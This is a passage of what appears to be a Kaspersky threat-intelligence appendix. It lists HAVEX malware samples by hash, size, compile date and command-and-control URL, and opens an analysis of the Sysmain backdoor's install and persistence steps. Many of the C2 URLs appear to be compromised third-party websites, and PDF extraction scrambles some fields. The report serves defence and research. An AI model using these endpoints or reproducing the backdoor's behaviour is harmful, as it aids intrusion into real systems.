+Compiled: +Notes: +TLP: Green +a05b53260c2855829226dffd814022b7ff4750d278d6c46f2e8e0dc58a36a1f9 +2031109 +Fri, 16 Dec 2011 09:05:34 UTC +Corrupted / nested file +For any inquire please contact intelreports@kaspersky.com +SHA-256: +0f4046be5de15727e8ac786e54ad7230807d26ef86c3e8c0e997ea76ab3de255 +Size: +418426 +Compiled: Fri, 16 Dec 2011 08:57:55 UTC +C2 URLs: +geointeres.com/engine/modules/source.php?id= +ojoobo.com/modules/forum/forum-source.php?id= +www.prosperis.com/cms/sections/source.php?id= +SHA-256: +3a88ff66f4eb675f0c3e6c5f947c012945c4e15b77a2cd195de8a8aba23ccb29 +Size: +420874 +Compiled: Tue, 20 Dec 2011 07:06:16 UTC +C2 URLs: +ispacs.com/cna/pages.cn/cna_source.php?id= +strategyofroulette.com/app/usr/usr_src.php?id= +www.meortemple.com/wp-includes/pomo/idx.php?id= +HAVEX version 01D +SHA-256: +Size: +Compiled: +Notes: +66ec58b4bdcb30d1889972c1ee30af7ff213deece335f798e57ff51fe28752e3 +2045717 +Wed, 21 Dec 2011 08:55:59 UTC +Corrupted / nested file +SHA-256: +83e57d8f3810a72a772742d4b786204471a7607e02fa445c3cd083f164cc4af3 +Size: +2031109 +Compiled: Wed, 21 Dec 2011 08:58:09 UTC +Notes: +Corrupted / nested file +C2 URLs: +giant99.com/site-admin/pages/source.php?id= +abainternationaltoursandtravel.com/hiking_Safaris/source.php?id= +www.nahoonservices.com/wp-includes/pomo/idx.php?id= +SHA-256: +Size: +Compiled: +Source Url: +170596e88b26f04d349f6014d17a88026ec55eab44888e2a9bb4dd90a79f6878 +422960 +Thu, 29 Dec 2011 07:17:39 UTC +ijbeta.com/wp-includes/pomo/ambigos0.jpg +SHA-256: +0a0a5b68a8a7e4ed4b6d6881f57c6a9ac55b1a50097588e462fe8d3c486158bf +Size: +421947 +Compiled: Thu, 29 Dec 2011 07:17:39 UTC +C2 URLs: +thecafe7.com/modules/mod_newsflash/mod_newsflash_idx.php?id= +thecafe7.com/modules/mod_whosonline/src.php?id= +TLP: Green +For any inquire please contact intelreports@kaspersky.com +rchdmtnez.com/modules/mod_search/source.php?id= +SHA-256: +Size: +Compiled: +5a13d0c954280b4c65af409376de86ac43eb966f25b85973a20d330a34cdd9a6 +417296 +Tue, 10 Jan 2012 12:27:57 UTC +SHA-256: +Size: +Compiled: +6296d95b49d795fa10ae6e9c4e4272ea4e1444105bddbf45b34ee067b2603b38 +422624 +Tue, 10 Jan 2012 12:27:57 UTC +C2 URLs: +dominioparayoani.com/wp-includes/pomo/source.php?id= +www.espadonline.com/forum/includes/block/source.php?id= +aptguide.3dtour.com/includes/cloudfusion/sc4.class.php?id= +SHA-256: +Size: +Compiled: +e42badd8fb20f1bc72b1cec65c42a96ee60a4b52d19e8f5a7248afee03646ace +401788 +Tue, 10 Jan 2012 14:04:49 UTC +SHA-256: +Size: +Compiled: +487eaf5cc52528b5f3bb27ba53afffb6d534068b364a41fc887b8c1e1485795a +421467 +Tue, 10 Jan 2012 14:04:49 UTC +SHA-256: +Size: +Compiled: +2221c2323fb6e30b9c10ee68d60b7d7be823911540bb115f75b2747d015e35f9 +409048 +Tue, 10 Jan 2012 14:04:49 UTC +SHA-256: +Size: +Compiled: +c4e2e341689799281eaef47de75f59edceaba281398b41fe7616436f247ab93d +415640 +Tue, 10 Jan 2012 14:04:49 UTC +SHA-256: +Size: +Compiled: +b0faba6156c7b0cd59b94eeded37d8c1041d4b8dfa6aacd6520a6d28c3f02a5e +418118 +Tue, 10 Jan 2012 14:04:49 UTC +SHA-256: +Size: +Compiled: +1d768ebfbdf97ad5282e7f85da089e174b1db760f1cbdca1a815e8e6245f155a +422416 +Tue, 10 Jan 2012 14:04:49 UTC +SHA-256: +Size: +45abd87da6a584ab2a66a06b40d3c84650f2a33f5f55c5c2630263bc17ec4139 +422452 +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Compiled: +Tue, 10 Jan 2012 14:04:49 UTC +SHA-256: +Size: +Compiled: +439e5617d57360f76f24daed3fe0b59f20fc9dade3008fd482260ba58b739a23 +422117 +Tue, 10 Jan 2012 14:04:49 UTC +SHA-256: +Size: +Compiled: +Source Url: +59af70f71cdf933f117ab97d6f1c1bab82fd15dbe654ba1b27212d7bc20cec8c +423472 +Tue, 10 Jan 2012 14:04:49 UTC +ijbeta.com/wp-includes/pomo/ambigos0.jpg +C2 URLs: +ktbits.com/engine/modules/source.php?id= +rosesci.com/mail/q.source.php?id= +www.jterps.com/wp-includes/pomo/idx.php?id= +SHA-256: +d89a80a3fbb0a4a40157c6752bd978bc113b0c413e3f73eb922d4e424edeb8a7 +Size: +420065 +Compiled: Tue Jan 10 14:04:49 2012 UTC +C2 URLs: +ktbits.com/engine/modules/source.php?id= +rosesci.com/mail/q.source.php?id= +www.jterps.com/wp-includes/pomo/idx.php?id= +HAVEX version 01E +SHA-256: +Size: +Compiled: +Source Url: +4cf75059f2655ca95b4eba11f1ce952d8e08bb4dbcb12905f6f37cf8145a538d +423472 +Tue, 17 Jan 2012 07:26:25 UTC +ijbeta.com/wp-includes/pomo/ambigos0.jpg +SHA-256: +Size: +Compiled: +b3b01b36b6437c624da4b28c4c8f773ae8133fca9dd10dc17742e956117f5759 +423439 +Tue, 17 Jan 2012 07:26:25 UTC +C2 URLs: +arsch-anus.com/engine/modules/source.php?id= +al-mashkoor.com/php/mail/source.php?id= +basecamp.100icons.com/ibresource/forumengine/mzh-front-20090600.php?id= +SHA-256: +Size: +Compiled: +TLP: Green +24be375f0e11d88210e53f15cc08d72ab6c6287676c3fe3c6f70b513e5f442ed +419629 +Tue, 17 Jan 2012 07:29:35 UTC +For any inquire please contact intelreports@kaspersky.com +SHA-256: +Size: +Compiled: +e38aa99eff1f9fedd99cf541c3255e99f3276839a883cadb6e916649522729e3 +418320 +Tue, 17 Jan 2012 07:29:35 UTC +SHA-256: +Size: +Compiled: +d588e789f0b5914bd6f127950c5daf6519c78b527b0ed7b323e42b0613f6566f +422285 +Tue, 17 Jan 2012 07:29:35 UTC +SHA-256: +Size: +Compiled: +2c109406998723885cf04c3ced7af8010665236459d6fe610e678065994154d4 +415684 +Tue, 17 Jan 2012 07:29:35 UTC +SHA-256: +Size: +Compiled: +13da3fe28302a8543dd527d9e09723caeed98006c3064c5ed7b059d6d7f36554 +418604 +Tue, 17 Jan 2012 07:29:35 UTC +SHA-256: +Size: +Compiled: +ecb097f3367f0155887dde9f891ff823ff54ddfe5217cdbb391ea5b10c5a08dc +417145 +Tue, 17 Jan 2012 07:29:35 UTC +SHA-256: +Size: +Compiled: +85d3f636b515f0729c47f66e3fc0c9a0aacf3ec09c4acf8bf20a1411edcdc40a +416709 +Tue, 17 Jan 2012 07:29:35 UTC +SHA-256: +Size: +Compiled: +c66525285707daff30fce5d79eb1bdf30519586dfec4edf73e4a0845fd3d0e1c +418037 +Tue, 17 Jan 2012 07:29:35 UTC +SHA-256: +Size: +Compiled: +94d4e4a8f2d53426154c41120b4f3cf8105328c0cc5d4bd9126a54c14b296093 +415861 +Tue, 17 Jan 2012 07:29:35 UTC +SHA-256: +Size: +Compiled: +59c4cba96dbab5d8aa7779eac18b67b2e6f8b03066eb092415d50dff55e43b72 +417733 +Tue, 17 Jan 2012 07:29:35 UTC +SHA-256: +Size: +Compiled: +b139829440aabe33071aa34604f739d70f9a0a3b06051f3190aabf839df2d408 +422112 +Tue, 17 Jan 2012 07:29:35 UTC +TLP: Green +For any inquire please contact intelreports@kaspersky.com +SHA-256: +Size: +Compiled: +72ff91b3f36ccf07e3daf6709db441d2328cecab366fd5ff81fc70dd9eb45db8 +421677 +Tue, 17 Jan 2012 07:29:35 UTC +C2 URLs: +basecamp.turbomilk.com/turbomilk/contractors2/idx.php?id= +bbpdx.com/includes/xpath/xpath.src.php?id= +iqaws.com/catalog/install/source.php?id= +SHA-256: +49c1c5e8a71f488a7b560c6751752363389f6272d8c310fee78307dc9dcd3ee2 +Size: +423472 +Compiled: Mon, 30 Jan 2012 11:10:17 UTC +C2 URLs: +familienieuwland.com/Schotland_files/_vti_cnf/index2.php?id= +serviciosglobal.com/TPV/src.php?id= +la5taavenida.com/wp-content/themes/citylight-idea-10/citylight-idea-10/idx.php?id= +SHA-256: +2c37e0504b98413e0308e44fd84f98e968f6f62399ea06bc38d3f314ee94b368 +Size: +423472 +Compiled: Mon, 27 Feb 2012 09:09:44 UTC +Source url: ijbeta.com/wp-includes/pomo/ambigos0.jpg +C2 URLs: +stalprof.com.ua/includes/domit/src.php?id= +www.cometothetruth.com/cms/tinymce/examples/src.php?id= +pornoxxx1.com/engine/ajax/src.php?id= +HAVEX version 01F +SHA-256: +Size: +Compiled: +7e0dafedd01d09e66524f2345d652b29d3f634361c0a69e8d466dcbdfd0e3001 +423472 +Tue, 07 Feb 2012 06:22:05 UTC +SHA-256: +Size: +Compiled: +6e92c2d298e25bcff17326f69882b636150d2a1af494ef8186565544f0d04d3d +446464 +Tue, 07 Feb 2012 06:22:05 UTC +C2 URLs: +ispacs.com/cna/pages.cn/cna_source.php?id= +strategyofroulette.com/app/usr/usr_src.php?id= +www.meortemple.com/wp-includes/pomo/idx.php?id= +SHA-256: +Size: +TLP: Green +d71da8a59f3e474c3bcd3f2f00fae0b235c4e01cd9f465180dd0ab19d6af5526 +421081 +For any inquire please contact intelreports@kaspersky.com +Compiled: +Tue, 14 Feb 2012 14:34:23 UTC +SHA-256: +Size: +Compiled: +61969cd978cd2de3a13a10510d0dea5d0d3b212209804563ed3d42033a9d0f54 +415525 +Tue, 14 Feb 2012 14:34:23 UTC +SHA-256: +Size: +Compiled: +0ea750a8545252b73f08fe87db08376f789fe7e58a69f5017afa2806046380a5 +423472 +Tue, 14 Feb 2012 14:34:23 UTC +C2 URLs: +dayniilecom.com/index_files/iibka300_files/source.php?id= +red-opus.com/_vti_bin/_vti_aut/source.php?id= +www.cetlot.com/wp-includes/pomo/idx.php?id= +SHA-256: +Size: +Compiled: +2f24c7ccbd7a9e830ed3f9b3b7be7856e0cc8c1580082433cbe9bf33c86193c6 +416221 +Tue, 14 Feb 2012 14:38:41 UTC +C2 URLs: +peterbogdanov.com/php/phpmailer/phpdoc/src.php?id= +www.behrendt-pasewalk.de/blog/wp-content/plugins/source.php?id= +www.a-knoblach.de/russland-blog/functions/locnav/pfeil_src.php?id= +SHA-256: +aef82593822a934b77b81ebc461c496c4610474727539b0b6e1499ca836f0dee +Size: +423472 +Compiled: Wed Feb 8 06:53:30 2012 UTC +C2 URLs: +ytu.am/modules/mod_search/source.php?id= +tallhoody.com/wp-includes/pomo/idx.php?id= +www.prosperis.com/cms/email/mail.php?id= +HAVEX version 020 +SHA-256: +224e8349ba128f0ab57bdebef5287f4b84b9dccbc2d8503f53f6333efd5f9265 +Size: +422871 +Compiled: Tue, 13 Dec 2011 06:14:15 UTC +C2 URLs: +ytu.am/modules/mod_search/source.php?id= +tallhoody.com/wp-includes/pomo/idx.php?id= +www.prosperis.com/cms/email/mail.php?id= +SHA-256: +Size: +TLP: Green +2f593c22a8fd0de3bbb57d26320446a9c7eed755ae354957c260908c93d8cf79 +460848 +For any inquire please contact intelreports@kaspersky.com +Compiled: Mon, 12 Mar 2012 11:54:12 UTC +C2 URLs: +www.rscarcare.com/modules/Manufacturers/source.php?id= +rcdm-global.de/plugins/search/content/source.php?id= +www.eriell.com/services/photo/source.php?id= +SHA-256: +cd019e717779e2d2b1f4c27f75e940b5f98d4ebb48de604a6cf2ab911220ae50 +Size: +459824 +Compiled: Tue, 01 May 2012 10:54:35 UTC +C2 URLs: +blog.iclt.am/wp-includes/pomo/src.php?id= +coma.nsourcer.com/modules/search/frontend/default/src.php?id= +www.rutravel.com/admin/include/source.php?id= +HAVEX version 021 +SHA-256: +Size: +Compiled: +edb7caa3dce3543d65f29e047ea789a9e429e46bed5c29c4748e656285a08050 +458119 +Sat, 09 Jun 2012 06:49:43 UTC +SHA-256: +Size: +Compiled: +a3a6f0dc5558eb93afa98434020a8642f7b29c41d35fa34809d6801d99d8c4f3 +460848 +Sat, 09 Jun 2012 06:49:43 UTC +C2 URLs: +swissitaly.com/includes/phpmailer/class.pop3.php?id= +lkgames.com/fr/free-game-action-ball-2/source.php?id= +artem.sataev.com/blog/wp-includes/pomo/src.php?id= +HAVEX version 022 +SHA-256: +43608e60883304c1ea389c7bad244b86ff5ecf169c3b5bca517a6e7125325c7b +Size: +462848 +Compiled: Mon, 17 Sep 2012 09:43:36 UTC +C2 URLs: +blog.vraert.com/wp-includes/pomo/src.php?id= +wildlifehc.org/nest/services/source.php?id= +www.suma-shop.ir/modules/sekeywords/source.php?id= +www.sdfgdsdf23_sdgdstavolozza.4lf.me/z/j/tiny_mce/plugins/xhtmlxtras/src. +php?id= +SHA-256: +Size: +Compiled: +TLP: Green +98bd5e8353bc9b70f8a52786365bcdb28bd3aef164d62c38dae8df33e04ac11a +463920 +Tue, 17 Jul 2012 06:35:58 UTC +For any inquire please contact intelreports@kaspersky.com +C2 URLs: +lafollettewines.com/includes/phpInputFilter/source.php?id= +alexvernigor.com/includes/phpmailer/source.php?id= +www.recomiendalos.com/inc/eml_templates/source.php?id= +www.jklgdf789dh43.com/7890890778yer/rtrtyr/rty/rty/ery/er.php?id= +SHA-256: +da3c1a7b63a6a7cce0c9ef01cf95fd4a53ba913bab88a085c6b4b8e4ed40d916 +Size: +463920 +Compiled: Tue, 28 Aug 2012 13:53:28 UTC +C2 URLs: +artsepid.com/plugin/contact-form/source.php?id= +xezri.net/chat/etiraf/source.php?id= +bukzahid.org.ua/engine/modules/src.php?id= +www.sdfgdsdf2354235il.com/inc/eml_templates/source.php?id= +SHA-256: +269ea4b883de65f235a04441144519cf6cac80ef666eccf073eedd5f9319be0f +Size: +463920 +Compiled: Mon, 06 Aug 2012 12:42:06 UTC +C2 URLs: +mohsenmeghdari.com/includes/exifer1_5/source.php?id= +alpikaclub.com/wp-includes/pomo/idx.php?id= +naturexperts.com/themes/bluemarine/node.php?id= +www.sdfgdsdf2354235il_jsaopwiowrhwkbfjk2345234532gssdrgesr.com/inc/eml_ +templates/source.php?id= +SHA-256: +1ba99d553582cc6b6256276a35c2e996e83e11b39665523f0d798beb91392c90 +Size: +463920 +Compiled: Wed, 22 Aug 2012 09:34:45 UTC +C2 URLs: +www.snow-lab.com/modules/mod_search/tmpl/search.php?id= +motorjo.com/z/j/tiny_mce/plugins/media/source.php?id= +forum.unmondeparfait.org/includes/search/source.php?id= +www.sdfgdsdf2354235il_jsaopwiowrhwkbfjk2345234532gssdrgesr.com/inc/eml_ +templates/source.php?id= +HAVEX version 024 +SHA-256 +778568b44e13751800bf66c17606dfdfe35bebbb94c8e6e2a2549c7482c33f7a +Size: +452608 +Compiled: 2012-12-11 05:51:17 +Source URL: www.nahoonservices.com/wp-content/plugins/rss-poster/jungle.php +SHA-256: +Size: +TLP: Green +066346170856972f6769705bc6ff4ad21e88d2658b4cacea6f94564f1856ed18 +452608 +For any inquire please contact intelreports@kaspersky.com +Compiled: +Fri, 26 Oct 2012 10:12:03 UTC +SHA-256: +Size: +Compiled: +f1d6e8b07ac486469e09c876c3e267db2b2d651299c87557cbf4eafb861cf79c +452608 +Fri, 26 Oct 2012 10:12:03 UTC +SHA-256: +Size: +Compiled: +c987f8433c663c9e8600a7016cdf63cd14590a019118c52238c24c39c9ec02ad +452608 +Fri, 26 Oct 2012 10:43:23 UTC +SHA-256: +Size: +Compiled: +c25c1455dcab2f17fd6a25f8af2f09ca31c8d3773de1cb2a55acd7aeaa6963c8 +452608 +Fri, 26 Oct 2012 12:13:07 UTC +SHA-256: +Size: +Compiled: +593849098bd288b7bed9646e877fa0448dcb25ef5b4482291fdf7123de867911 +452608 +Fri, 26 Oct 2012 12:13:07 UTC) +SHA-256: +Size: +Compiled: +9d530e2254580842574a740698d2348b68b46fd88312c9325321ad0d986f523d +452608 +Fri, 26 Oct 2012 12:13:09 UTC +C2 URLs: +grafics.kz/plugins/search/source.php?id= +www.kino24.kz/blog/engine/modules/plugin/source.php?id= +www.idweb.ru/assets/modules/docmanager/classes/dm_source.php?id= +SHA-256: +8e222cb1a831c407a3f6c7863f3faa6358b424e70a041c196e91fb7989735b68 +Size: +452608 +Compiled: Tue, 06 Nov 2012 08:55:54 UTC +C2 URLs: +baneh2net.com/wp-includes/pomo/idx.php +ask.az/chat/cgi-bin/source.php +popolnyalka.uz/math/wp-includes/pomo/idx.php +SHA-256: +6e5f4296bffa7128b6e8fa72ad1924d2ff19b9d64775bd1e0a9ce9c5944bd419 +Size: +452608 +Compiled: Tue, 06 Nov 2012 08:57:54 UTC +C2 URLs: +waytomiracle.com/physics/wp-includes/pomo/src.php +anymax.ru/modules/mod_search/source.php +ogizni.ru/wp-includes/pomo/idx.php +TLP: Green +For any inquire please contact intelreports@kaspersky.com +SHA-256: +2dc296eb532097ac1808df7a16f7740ef8771afda3ac339d144d710f9cefceb4 +Size: +452608 +Compiled: Tue, 06 Nov 2012 09:06:18 UTC +C2 URLs: +cadlab.ru/components/com_search/com_search.php +entirenetwork.ru/components/com_search/search.src.php +radiolocator.ru/includes/domit/dom_xmlrpc_builder_src.php +SHA-256: +Size: +Compiled: +d3ee530abe41705a819ee9220aebb3ba01531e16df7cded050ba2cf051940e46 +452608 +Tue, 06 Nov 2012 09:14:18 UTC +SHA-256: +Size: +Compiled: +Notes: +6122db2cdac0373cc8513c57786088a5548721d01e7674e78082774044e92980 +350382 +Tue, 06 Nov 2012 09:14:18 UTC +file is corrupted +C2 URLs: +hram-gelendzhik.ru/modules/mod_search/source.php +fasdalf.ru/modules/forum/forum-src.php +fortexcompany.ru/forms/FCKeditor/editor/plugins/bbcode/fckplugin.php +SHA-256: +bee9f2a01e0049d4cf94016284b16849136233366d1509489797084672e5448f +Size: +452608 +Compiled: Wed, 19 Dec 2012 07:15:03 UTC +C2 URLs: +grafics.kz/plugins/search/source.php +topstonet.ru/modules/mod_search/source.php +raznyi-content.ru/wp-includes/pomo/idx.php +SHA-256: +dc612882987fab581155466810f87fd8f0f2da5c61ad8fc618cef903c9650fcd +Size: +452608 +Compiled: Thu, 20 Dec 2012 07:45:29 UTC +C2 URLs: +finadmition.ru/wp-includes/pomo/idx.php +medpunkt.biz/includes/modules/FCKeditor/fcksource.php +intimit.ru/includes/phpmailer/source.php +SHA-256: +fd689fcdcef0f1198b9c778b4d93adfbf6e80118733c94e61a450aeb701750b4 +Size: +452608 +Compiled: Fri Oct 26 12:13:04 2012 UTC +C2 URLs: +grafics.kz/plugins/search/source.php +www.kino24.kz/blog/engine/modules/plugin/source.php +TLP: Green +For any inquire please contact intelreports@kaspersky.com +www.idweb.ru/assets/modules/docmanager/classes/dm_source.php +HAVEX version 025 +SHA-256: +684ea2083f2f7099f0a611c81f26f30127ad297fcac8988cabb60fcf56979dfc +Size: +459264 +Compiled: Mon, 24 Sep 2012 13:58:54 UTC +C2 URLs: +topco-co.com/wp-includes/pomo/idx.php?id= +crm.mayanks.com/vtigercrm/modules/Services/source.php?id= +tickettotimbuktu.com/app/code/core/Mage/Rule/Model/Condition/Source.php?id +HAVEX version 029 +SHA-256: +cb58396d40e69d5c831f46aed93231ed0b7d41fee95f8da7c594c9dbd06ee111 +Size: +434688 +Compiled: Tue, 30 Apr 2013 06:53:24 UTC +C2 URLs: +adultfriendgermany.com/wp-includes/pomo/source.php +adultfrienditaly.com/wp-includes/pomo/src.php +adultfriendfrance.com/wp-includes/pomo/src.php +HAVEX version 030 +SHA-256: +6367cb0663c2898aff64440176b409c1389ca7834e752b350a87748bef3a878b +Size: +435712 +Compiled: Wed, 08 May 2013 05:12:53 UTC +C2 URLs: +adultfriendgermany.com/wp-includes/pomo/source.php +adultfrienditaly.com/wp-includes/pomo/src.php +adultfriendfrance.com/wp-includes/pomo/src.php +HAVEX version 037 +SHA-256: +0e34262813677090938983039ba9ff3ade0748a3aba25e28d19e2831c036b095 +Size: +436736 +Compiled: Fri, 16 Aug 2013 05:49:18 UTC +Resource: +ICT 0x69 +C2 URLs: +jcaip.co.jp/inc/user/mysql_s.php +shopcode.net/wp-includes/pomo/idx.php +dl.3manage.com/services/ip/easy/idx.php +SHA-256: +92c959c36617445a35e6f4f2ee2733861aa1b3baf8728d19a4fd5176f3c80401 +Size: +436736 +TLP: Green +For any inquire please contact intelreports@kaspersky.com +Compiled: Wed, 28 Aug 2013 07:21:28 UTC +Resource: +ICT 0x69 +C2 URLs: +blog.olioboard.com/wp-includes/pomo/idx.php +blog.keeleux.com/wp-includes/pomo/idx.php +alexvernigor.com/includes/phpmailer/source.php +SHA-256: +0c9b20f4cb0b3206f81c2afbb2ee4d995c28f74f38216f7d35454af624af8876 +Size: +436799 +Compiled: Thu, 04 Jul 2013 12:54:48 UTC +Resource: +ICT 0x69 +C2 URLs: +serviciosglobal.com/inc/search.php +zhayvoronok.com/wp-includes/pomo/idx.php +dreamsblock.com/witadmin/modules/source.php +HAVEX version 038 +SHA-256: +ec48b131612ef5637b387d9c2b0907d68a080fb77c6168e779fb7f3a0efa04dc +Size: +327168 +Compiled: Tue, 29 Oct 2013 06:09:24 UTC +C2 URLs: +pekanin.freevar.com/include/template/isx.php +simpsons.freesexycomics.com/wp06/wp-includes/po.php +toons.freesexycomics.com/wp08/wp-includes/dtcla.php +SHA-256: +c43ce82560cea125f65c7701c733c61ae3faa782c8b00efcb44fd7dbd32a5c4b +Size: +327168 +Compiled: Tue, 29 Oct 2013 06:09:24 UTC +C2 URLs: +allcubatravel.com/roomHavana/Teresita/src.php +keeleux.com/wp/wp-includes/idx.php +sunny-thumbs.com/ebonyaddiction/14/black-stockings-gangbang/source.php +SHA-256: +401215e6ae0b80cb845c7e2910dddf08af84c249034d76e0cf1aa31f0cf2ea67 +Size: +327168 +Compiled: Mon, 30 Dec 2013 12:53:48 UTC +C2 URLs: +zhayvoronok.com/wp-includes/pomo/idx.php +dreamsblock.com/witadmin/modules/source.php +38stalprof.com.ua/includes/domit/src.php +SHA-256: +Size: +Compiled: +TLP: Green +ebb16c9536e6387e7f6988448a3142d17ab695b2894624f33bd591ceb3e46633 +327168 +Mon, 20 Jan 2014 13:38:43 UTC +For any inquire please contact intelreports@kaspersky.com +C2 URLs: +www.pc-service-fm.de/modules/mod_search/src.php +artem.sataev.com/blog/wp-includes/pomo/src.php +swissitaly.com/includes/phpmailer/class.pop3.php +SHA-256: +6b2a438e0233fe8e7ba8774e2e5c59bf0b7c12679d52d6783a0010ecad11978c +Size: +327168 +Compiled: Tue, 29 Oct 2013 06:09:24 UTC +C2 URLs: +electroconf.xe0.ru/modules/mod_search/mod_search.src.php +sinfulcelebs.freesexycomics.com/wp05/wp-admin/includes/tmp/tmp.php +rapidecharge.gigfa.com/blogs/wp-content/plugins/buddypress/bp-settings/bp- +settings-src.php +SHA-256: +e3a7fa8636d040c9c3a8c928137d24daa15fc6982c002c5dd8f1c552f11cbcad +Size: +327591 +Compiled: Mon, 30 Dec 2013 12:53:48 UTC +C2 URLs: +www.pc-service-fm.de/modules/mod_search/src.php +artem.sataev.com/blog/wp-includes/pomo/src.php +swissitaly.com/includes/phpmailer/class.pop3.php +SHA-256: +f6aab09e1c52925fe599246dfdb4c1d06bea5c380c4c3e9c33661c869d41a23a +Size: +327168 +Compiled: Mon, 30 Dec 2013 12:53:48 UTC +C2 URLs: +www.pc-service-fm.de/modules/mod_search/src.php +artem.sataev.com/blog/wp-includes/pomo/src.php +swissitaly.com/includes/phpmailer/class.pop3.php +HAVEX version 040 +SHA-256: +b8514bff04e8f4e77430202db61ec5c206d3ec0f087a65ee72c9bb94a058b685 +Size: +327168 +Compiled: Mon, 17 Feb 2014 09:35:14 UTC +C2 URLs: +adultfriendgermany.com/wp-includes/pomo/source.php +adultfrienditaly.com/wp-includes/pomo/src.php +adultfriendfrance.com/wp-includes/pomo/src.php +HAVEX version 043 +SHA-256: +Size: +Compiled: +TLP: Green +69b555a37e919c3e6c24cfe183952cdb695255f9458b25d00d15e204d96c737b +437760 +Tue, 01 Apr 2014 10:59:19 UTC +For any inquire please contact intelreports@kaspersky.com +C2 URLs: +electroconf.xe0.ru/modules/mod_search/mod_search.src.php +sinfulcelebs.freesexycomics.com/wp05/wp-admin/includes/tmp/tmp.php +rapidecharge.gigfa.com/blogs/wp-content/plugins/buddypress/bp-settings/bp- +settings-src.php +SHA-256: +Size: +Compiled: +C2 URLs: +101e70a5455212b40406fe70361995a3a346264eabd4029200356565d2bacd6a +458752 +Tue, 01 Apr 2014 10:59:19 UTC +SHA-256: +d5687b5c5cec11c851e84a1d40af3ef52607575487a70224f63458c24481076c +Size: +437248 +Compiled: Fri, 11 Apr 2014 05:37:36 UTC +C2 URLs: +sinfulcelebs.freesexycomics.com/wp05/wp-admin/includes/tmp/tmp.php +rapidecharge.gigfa.com/blogs/wp-content/plugins/buddypress/bp-settings/bp- +settings-src.php +HAVEX version 044 +SHA-256: +1ef47da67f783f8cc8cda7481769647b754874c91e0c666f741611decd878c19 +Size: +438394 +Compiled: Wed, 07 May 2014 12:35:16 UTC +C2 URLs: +sinfulcelebs.freesexycomics.com/wp05/wp-admin/includes/tmp/tmp.php +rapidecharge.gigfa.com/blogs/wp-content/plugins/buddypress/bp-settings/bp- +settings-src.php +SHA-256: +Size: +Compiled: +Notes: +358da2c5bb5fbd9c9cf791536054bbb387ce37253c31555f5afa544f38de2a3f +422499 +Wed, 07 May 2014 12:35:16 UTC +file is corrupted +SHA-256: +4b547b3992838cfb3b61cb25f059c0b56c2f7caaa3b894dbc20bf7b33dadc5a1 +Size: +473092 +Compiled: Thu Jun 2 23:39:34 2011 UTC +C2 URLs: +www.iamnumber.com/modules/boonex/specialnumber/tmp.php +disney.freesexycomics.com/wp10/wp-includes/pomo/idx.php +solaed.ru/modules/mod_search/source.php +TLP: Green +For any inquire please contact intelreports@kaspersky.com +III. Appendix 3: +The Sysmain backdoor + detailed +analysis +Detailed analysis of first identified sample of SYSMAIN RAT. The sample set contains two variants. +File metadata analyzed variant +SHA-256: +d5e3122a263d3f66dcfa7c2fed25c2b8a3be725b2c934fa9d9ef4c5aefbc6cb9 +MD5: +418bfc05240ec86b91181f38bd751ccb +Verdict: +Trojan.Win32.Sysmain.c +Size: +131584 +Compiled: Fri, 14 Dec 2012 17:50:05 +Type: +C2 urls: +8bs.org/wp-content/plugins/akismet/iddx.php +agu-inyaz.com/awstats/icon/flags/src.php +hajaj-center.com/moon/fancybox/fancy_source.php +www.ferma.az/incfiles/classes/iddx.php +File metadata second variant +SHA-256: +a8e6abaa0ddc34b9db6bda17b502be7f802fb880941ce2bd0473fd9569113599 +MD5: +875b0702ef3cc2d909ecf720bb4079c2 +Verdict: +Trojan.Win32.Sysmain.e +Size: +133152 +Compiled: Wed, 12 Jun 2013 09:31:14 +Type: +C2 urls: +ojoobo.com/modules/search/search.php +giant99.com/system/modules/SMTP/class.src.php +antibioticsdrugstore.com/err/log/source.php +www.sinfulcomicsite.com/wp03/wp-includes/pomo/src.php +Other sysmain samples: +SHA-256: +Verdict: +TLP: Green +31488f632f5f7d3ec0ea82eab1f9baba16826967c3a6fa141069ef5453b1eb95 +Trojan.Win32.Sysmain.e +For any inquire please contact intelreports@kaspersky.com +Size: +133152 +Compiled: Mon, 08 Apr 2013 21:41:53 UTC +C2 urls: +www.sinfulcomicsite.com/wp03/wp-includes/pomo/src.php +www.christian-vedder.de/media/system/tmp/_tfpl.php +blog.olioboard.com/wp-content/plugins/akismet/src.php +mobitel.az/source/tmp/sdwrfq.php +SHA-256: +53d2a3324f276f29c749727c20708a3421a5144046ce14a8e025a8133316e0ac +Verdict: +Trojan.Win32.Sysmain.b +Size: +145440 +Compiled: Thu, 07 Jun 2012 08:40:54 UTC +C2 urls: +warteam.freetzi.com/wp-includes/pomo/idx.php +jetc.com/illegal_access_folder/source.php +www.eth-inc.com//new/moduls/source.php +crm.mayanks.in/include/tcpdf/config/source.php +SHA-256: +81e5e73452aa8b14f6c6371af2dccab720a32fadfc032b3c8d96f9cdaab9e9df +Verdict: +Trojan.Win32.Sysmain.e +Size: +133152 +Compiled: Thu, 21 Mar 2013 18:51:53 UTC +C2 urls: +7adharat.com/forum/includes/search/log_search.php +buythepill.net/cart/checkout/set/sidx.php +sico.ueuo.com/engine/modules/src.php +medpunkt.biz/includes/core/source.php +SHA-256: +dc75404b6fc8cdb73258c2cc7bc758347ffb4237c8d18222f3489dc303daf989 +Verdict: +Trojan.Win32.Sysmain.d +Size: +144991 +Compiled: Thu, 27 Oct 2011 04:59:50 UTC +C2 urls: +lankaranfc.com/360/resources/lankeran.php +aikidogroup.com/anjoman/inc/plugins/scoll.php +sico.ueuo.com/engine/modules/src.php +SHA-256: +387d4ea82c51ecda162a3ffd68a3aca5a21a20a46dc08a0ebe51b03b7984abe9 +Verdict: +Trojan.Win32.Sysmain.e +Size: +133223 +Compiled: Fri, 16 Aug 2013 06:14:30 UTC +C2 urls: +www.sinfulcomicsite.com/wp03/wp-includes/pomo/src.php +giant99.com/system/modules/SMTP/class.src.php +www.christian-vedder.de/media/system/tmp/_tfpl.php +TLP: Green +For any inquire please contact intelreports@kaspersky.com +antibioticsdrugstore.com/err/log/source.php +Exports +RunDllEntry +Installer: + Copies itself to %APPDATA%\sydmain.dll + Call RunReg (see below) + Call AGTwLoad if binary not installed already +AGTwLoad + Initializes the malware and starts C2 communication + Create internal Victim-ID: $victim-id= +HKCU/Identities/Default User ID +-18890} + example1: +{8B01CFB5-FF66-4404-89E2-27E06475EA38}-18890} +(query for +HKCU/Identities/Default User ID + was successful) + example2: {AD-18890} +(query for +HKCU/Identities/Default User ID + was NOT successful) +Create Muxtex: $victim-id +Add itself to %PATH% +Call RunReg (see below) +Call GPI (see below) 